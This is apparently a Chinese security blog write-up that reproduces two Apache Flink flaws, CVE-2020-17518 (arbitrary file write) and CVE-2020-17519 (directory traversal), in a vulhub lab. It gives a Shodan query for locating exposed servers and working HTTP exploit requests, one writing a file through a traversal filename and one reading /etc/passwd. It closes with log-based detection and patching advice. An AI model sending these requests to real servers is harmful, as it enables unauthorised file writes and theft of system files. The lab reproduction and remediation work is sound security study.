CVE-2020-17518 / CVE-2020-17519 Apache Flink 任意文件写入和目录遍历漏洞复现
文章目录
漏洞简述
Apache Flink 是一个开源流处理框架,具有强大的流处理和批处理能力。
CVE-2020-17518
Apache Flink 1.5.1 引入了一个 REST 处理程序,允许通过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统上的任意位置。
CVE-2020-17519
Apache Flink 1.11.0 中引入的一项更改(也在 1.11.1 和 1.11.2 中发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。
漏洞影响版本
CVE-2020-17518 1.5.1 < Flink < 1.11.2
CVE-2020-17519 Flink 1.11.0、1.11.1、1.11.2
Shodan搜索语法
http.favicon.hash:180732787

漏洞exp
该漏洞利用较为简单,并且github上的exp测试不太好用。建议手工测试复现。
https://github.com/QmF0c3UK/CVE-2020-17518
https://github.com/B1anda0/CVE-2020-17519
漏洞环境搭建
使用vulhub进行复现。搭建好后直接进入后台管理界面,没有认证。两个漏洞用的同一个环境。

漏洞复现
CVE-2020-17518
点击上面上传jar包,burp抓包修改路径。
POST /jars/upload HTTP/1.1 Host: vul.zgao.top:8081 Content-Length: 228 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryphBB4uHGBVImrUXt Connection: close ------WebKitFormBoundaryphBB4uHGBVImrUXt Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success" Content-Type: application/octet-stream success ------WebKitFormBoundaryphBB4uHGBVImrUXt--


文件上传成功。
CVE-2020-17519
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1 Host: vul.zgao.top:8081 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Connection: close

溯源排查
日志位置:/opt/flink/log
排查关键词:JarUploadHandler

目录穿越任意文件读取,日志中没有记录。
修复方式
升级至1.11.3及更高版本。
微信赞赏
支付宝赞赏
发表评论